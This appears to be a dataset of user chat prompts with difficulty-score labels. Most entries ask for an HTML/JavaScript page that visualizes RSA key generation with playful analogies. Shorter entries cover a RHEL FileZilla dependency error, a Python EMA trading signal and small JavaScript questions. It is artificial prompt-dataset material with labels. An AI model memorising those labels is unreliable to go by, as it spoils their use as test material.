<h4>🔒 Select two distinct prime numbers, p and q:</h4>
<p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
</html> <--got some questions... | df242f142a7b3377b542269e40b134b6 | {
"intermediate": 0.31949254870414734,
"beginner": 0.27786245942115784,
"expert": 0.4026450216770172
} |
16,489 | [root@rhel82 /]# sudo dnf install home/rpoint/filezilla-3.7.4.1-1.el7.x86_64.rpm
Updating Subscription Management repositories.
Last metadata expiration check: 0:46:27 ago on Fri 28 Jul 2023 10:36:17 AM MSK.
Error:
Problem: conflicting requests
- nothing provides libgnutls.so.28()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libgnutls.so.28(GNUTLS_1_4)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libgnutls.so.28(GNUTLS_3_0_0)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_baseu-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_baseu-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_baseu_net-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_baseu_net-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_baseu_xml-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_adv-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_adv-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_aui-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_aui-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_aui-2.8.so.0(WXU_2.8.5)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_core-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_core-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_xrc-2.8.so.0()(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
- nothing provides libwx_gtk2u_xrc-2.8.so.0(WXU_2.8)(64bit) needed by filezilla-3.7.4.1-1.el7.x86_64
(try to add '--skip-broken' to skip uninstallable packages or '--nobest' to use not only best candidate packages)
[root@rhel82 /]# sudo dnf install libwx_gtk2u_xrc-2.8.so.0
Updating Subscription Management repositories.
Last metadata expiration check: 0:47:04 ago on Fri 28 Jul 2023 10:36:17 AM MSK.
No match for argument: libwx_gtk2u_xrc-2.8.so.0
Error: Unable to find a match: libwx_gtk2u_xrc-2.8.so.0
что делать, чтобы установить filezilla? | 16051b0e806402040f4223631bffd6f2 | {
"intermediate": 0.3404662311077118,
"beginner": 0.3767552375793457,
"expert": 0.2827785015106201
} |
16,490 | Привет у меня сайт как мне через JS нажать на иконку? | 21d2552d6239faf8d1a9412945a437fb | {
"intermediate": 0.25396063923835754,
"beginner": 0.29778656363487244,
"expert": 0.44825276732444763
} |
16,491 | I used this code: def signal_generator(df):
if df is None:
return ''
ema_analysis = []
candle_analysis = []
df['EMA1'] = df['Close'].ewm(span=1, adjust=False).mean()
df['EMA5'] = df['Close'].ewm(span=5, adjust=False).mean()
df['EMA20'] = df['Close'].ewm(span=20, adjust=False).mean()
df['EMA50'] = df['Close'].ewm(span=50, adjust=False).mean()
if (
df['EMA1'].iloc[-1] > df['EMA5'].iloc[-1] and
df['EMA5'].iloc[-1] > df['EMA20'].iloc[-1] and
df['EMA20'].iloc[-1] > df['EMA50'].iloc[-1] and
df['EMA1'].iloc[-2] < df['EMA5'].iloc[-2]
):
ema_analysis.append('golden_cross')
elif (
df['EMA1'].iloc[-1] < df['EMA5'].iloc[-1] and
df['EMA5'].iloc[-1] < df['EMA20'].iloc[-1] and
df['EMA20'].iloc[-1] < df['EMA50'].iloc[-1] and
df['EMA1'].iloc[-2] > df['EMA5'].iloc[-2]
):
ema_analysis.append('death_cross')
if (
df['Close'].iloc[-1] > df['Open'].iloc[-1] and
df['Open'].iloc[-1] > df['Low'].iloc[-1] and
df['High'].iloc[-1] > df['Close'].iloc[-1]
):
candle_analysis.append('bullish_engulfing')
elif (
df['Close'].iloc[-1] < df['Open'].iloc[-1] and
df['Open'].iloc[-1] < df['High'].iloc[-1] and
df['Low'].iloc[-1] > df['Close'].iloc[-1]
):
candle_analysis.append('bearish_engulfing')
if ('golden_cross' in ema_analysis and 'bullish_engulfing' in candle_analysis):
return 'buy'
elif ('death_cross' in ema_analysis and 'bearish_engulfing' in candle_analysis):
return 'sell'
else:
return ''
But it doesn't print me any signals | 4c7c6ed897aca3a3efeff4127f8e627c | {
"intermediate": 0.2638322710990906,
"beginner": 0.4638044834136963,
"expert": 0.27236324548721313
} |
16,492 | nodejs readFile method | 567c6532e4534723e9d0c8f7f7779d85 | {
"intermediate": 0.3654114902019501,
"beginner": 0.34558117389678955,
"expert": 0.28900739550590515
} |
16,493 | <html>
<head>
<style>
html{
background-color: #fff;
}
h2, h4, textarea {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4, textarea {
color: #123456;
text-align: left;
font-size: 18px;
}
textarea{
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4><p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = `p = ${p}, q = ${q}`;
var primeLength = Math.max(Math.floor(Math.log2(p)), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = ` Prime Length: ${primeLength} bits`;
}
// Generate prime numbers on page load
generatePrimeNumbers();
// Animate changing values every 1 second
setInterval(generatePrimeNumbers, 100);
</script>
</html> <–got some questions… what if you do like that “<h4>✖️ Calculate n by multiplying p and q: n = p * q<span></span></h4>” and add some javascript to textarea element to represent functionality? so, you should represent randomly changing (or how it performs in actual RSA algorithm) numbers inside this span element. any better ideas? would be nice to animate it through some update time to see the varying values all around, how it should perform in actual RSA algorithm. that is the point here. | cb1c7e0a54bced845a1a6c5ba87551d9 | {
"intermediate": 0.29023900628089905,
"beginner": 0.28337937593460083,
"expert": 0.42638158798217773
} |
16,494 | <html>
<head>
<style>
html{
background-color: #fff;
}
h2, h4, textarea {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4, textarea {
color: #123456;
text-align: left;
font-size: 18px;
}
textarea{
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4><p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = `p = ${p}, q = ${q}`;
var primeLength = Math.max(Math.floor(Math.log2(p)), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = ` Prime Length: ${primeLength} bits`;
}
// Generate prime numbers on page load
generatePrimeNumbers();
// Animate changing values every 1 second
setInterval(generatePrimeNumbers, 100);
</script>
</html> <–got some questions… what if you do like that “<h4>✖️ Calculate n by multiplying p and q: n = p * q<span></span></h4>” and add some javascript to textarea element to represent functionality? so, you should represent randomly changing (or how it performs in actual RSA algorithm) numbers inside this span element. any better ideas? would be nice to animate it through some update time to see the varying values all around, how it should perform in actual RSA algorithm. that is the point here. | 178e71c2f70be5770f9c0df247e2344c | {
"intermediate": 0.29023900628089905,
"beginner": 0.28337937593460083,
"expert": 0.42638158798217773
} |
16,495 | describe the rest of the steps in RSA Algorithm through that fashion as in "<h4>🔒 Select two distinct prime numbers, p and q: <span id=‘primeNumbers’></span><span id=‘primeLength’></span></h4>". add appropriate span values at the end of each h4 tag for every steps. integrate whole functionality in javascript and output full code.: <html>
<head>
<style>
html{
background-color: #fff;
}
h2, h4, textarea {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4, textarea {
color: #123456;
text-align: left;
font-size: 18px;
}
textarea{
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4><p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
<p class='description'><b>→ Do a magic trick that counts how many numbers play nicely with the larger number.</b> <i>Euler's totient function, represented by φ(n), is like a mysterious magic trick that counts how many numbers form a harmonious relationship with the larger number, n. Just as the special numbers had no common factors with the larger number in the previous step, these numbers also have no common factors. The totient function, like a magician's wand, reveals this hidden count, holding the key to unlocking the secrets of encryption and decryption in the RSA algorithm.</i></p>
</div>
<div>
<h4>🔑 Select a public exponent e, relatively prime to φ(n)</h4>
<p class='description'><b>→ Choose a magic number that doesn't have any common factors with the result of the magic trick.</b> <i>Choosing a public exponent, denoted as e, is like finding a special key that unlocks the encryption process. This key, represented by the letter 'e', must be uniquely different from the result obtained in the previous step. Just like a key code completely different from a magic trick result, the public exponent ensures secure encryption by having no common factors with Euler's totient function of n (φ(n)).</i></p>
</div>
<div>
<h4>🔢 Calculate the private exponent d, satisfying (d * e) % φ(n) = 1</h4>
<p class='description'><b>→ Through some mathematical magic, find a secret number that, when multiplied by the magic number and divided by the result of the magic trick, results in an answer of 1.</b> <i>Calculating the private exponent, represented by d, is like solving a math puzzle to discover the secret number that, when multiplied by the public exponent 'e' and divided by Euler's totient function of n (φ(n)), equals 1. This special number, known only to the owner, unlocks and decrypts messages encrypted using the public key. The relationship between d, e, and φ(n) guarantees the ability to reverse the encryption process and reveal the original message.</i></p>
</div>
<div>
<h4>🌐 Public Key: (e, n)</h4>
<p class='description'><b>→ The public key is like a toy that everyone can play with. It has two numbers: the magic number and the larger number.</b> <i>The public key, represented as (e, n), is like a toy that can be freely shared among friends. It consists of two numbers: the public exponent, e, and the larger number, n. Just as a toy brings joy to multiple people, the public key enables secure communication between sender and recipient. The magic number, e, serves as the key to unlocking the encryption process, and the larger number, n, forms the foundation of the encryption algorithm.</i></p>
</div>
<div>
<h4>📂 Encryption: To encrypt a message M, compute C = (M^e) % n</h4>
<p class='description'><b>→ Imagine you have a secret message. Put that message inside a special box, raise it to the power of the magic number, and take the remainder when divided by the larger number. The result is the encrypted message.</b> <i>Encryption is like sealing a secret message inside a special box. To encrypt a message M, we raise it to the power of the public exponent, e, and then take the remainder when divided by the larger number, n. This transformation turns the message into an unreadable form, represented by the ciphertext, C. It's like protecting the secret message with an unbreakable seal, ensuring that only the intended recipient with the private key can unlock and read it.</i></p>
</div>
<div>
<h4>🔓 Decryption: To decrypt the ciphertext C, compute M = (C^d) % n</h4>
<p class='description'><b>→ If you have the encrypted message and the secret numbers, take the encrypted message, raise it to the power of the secret number, and take the remainder when divided by the larger number. The result will be the original secret message.</b> <i>Decryption is like using a special key to unlock a sealed box and reveal the original secret message. To decrypt the ciphertext C, we raise it to the power of the private exponent, d, and then take the remainder when divided by the larger number, n. This reverse transformation, using the private key associated with the public key used for encryption, turns the ciphertext back into the original message, represented by M. It's like unlocking the sealed box and retrieving the hidden treasure inside. Only the intended recipient with the private key can decrypt and read the message.</i></p>
</div>
</body>
<script>
// Function to generate a random prime number
function getRandomPrimeNumber() {
// Generate a random number
var randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
// Check if it is a prime number
while (!isPrime(randomNumber)) {
randomNumber = Math.floor(Math.random() * 10000000000) + 1000;
}
return randomNumber;
}
// Function to check if a number is prime
function isPrime(number) {
if (number < 2) return false;
for (var i = 2; i <= Math.sqrt(number); i++) {
if (number % i === 0) {
return false;
}
}
return true;
}
// Function to generate random prime numbers
function generatePrimeNumbers() {
var p = getRandomPrimeNumber();
var q = getRandomPrimeNumber();
document.getElementById('primeNumbers').textContent = `p = ${p}, q = ${q}`;
var primeLength = Math.max(Math.floor(Math.log2(p)), Math.floor(Math.log2(q)));
document.getElementById('primeLength').textContent = ` Prime Length: ${primeLength} bits`;
}
// Generate prime numbers on page load
generatePrimeNumbers();
// Animate changing values every 1 second
setInterval(generatePrimeNumbers, 100);
</script>
</html> | ef7a9164dd4904f96105fcb6b46b2da4 | {
"intermediate": 0.2998098134994507,
"beginner": 0.3762887716293335,
"expert": 0.3239014148712158
} |
16,496 | describe the rest of the steps in RSA Algorithm through that fashion as in "<h4>🔒 Select two distinct prime numbers, p and q: <span id=‘primeNumbers’></span><span id=‘primeLength’></span></h4>". add appropriate span values at the end of each h4 tag for every steps. integrate whole functionality in javascript and output full code.: <html>
<head>
<style>
html{
background-color: #fff;
}
h2, h4, textarea {
font-size: 18px;
font-style: normal;
margin-top: 0px;
margin-bottom: 0px;
font-weight: bold;
text-transform: initial;
letter-spacing: 0px;
line-height: 1.5;
text-decoration: none;
white-space: pre-wrap;
word-wrap: break-word;
font-family: 'monospace', sans-serif;
text-overflow: ellipsis;
margin:0 auto;
hyphens: auto;
}
h2 {
margin: 10px auto;
color: #FF6384;
text-align: center;
font-size: 24px;
}
h4, textarea {
color: #123456;
text-align: left;
font-size: 18px;
}
textarea{
}
.description {
font-size: 18px;
color: #4c4d33;
text-align: left;
margin-top: 5px;
margin-bottom: 0px;
}
div {
border: 10px solid #a1b5c9;
border-radius: 10px;
padding: 10px;
margin-bottom: 10px;
}
</style>
</head>
<body>
<h2>RSA Encryption Algorithm Visualization</h2>
<div>
<h4>🔒 Select two distinct prime numbers, p and q: <span id='primeNumbers'></span><span id='primeLength'></span></h4><p class='description'><b>→ Get special numbers that can only be divided evenly by 1 and themselves. Pick two different special numbers.</b> <i>Imagine picking two unique and extraordinary friends for a game. These friends, represented by the prime numbers p and q, possess exceptional qualities just like star players in a game. Similar to how these friends stand out from the crowd, prime numbers can only be divided evenly by 1 and themselves. The distinctness of p and q ensures a solid foundation for the RSA encryption algorithm, creating a perfect duo for an extraordinary adventure.</i></p>
</div>
<div>
<h4>✖️ Calculate n by multiplying p and q: n = p * q</h4>
<p class='description'><b>→ Combine the two special numbers into a larger number.</b> <i>Combining the powers of two extraordinary forces, represented by the prime numbers p and q, is like multiplying the strengths of two special players. Just as their strengths multiply when they join forces, the numbers p and q multiply to form a new and powerful number, n. This multiplication creates a robust and unbreakable lock mechanism that protects your valuable secrets, serving as the cornerstone of the RSA encryption algorithm.</i></p>
</div>
<div>
<h4>⚖️ Calculate Euler's totient function of n: φ(n) = (p-1) * (q-1)</h4>
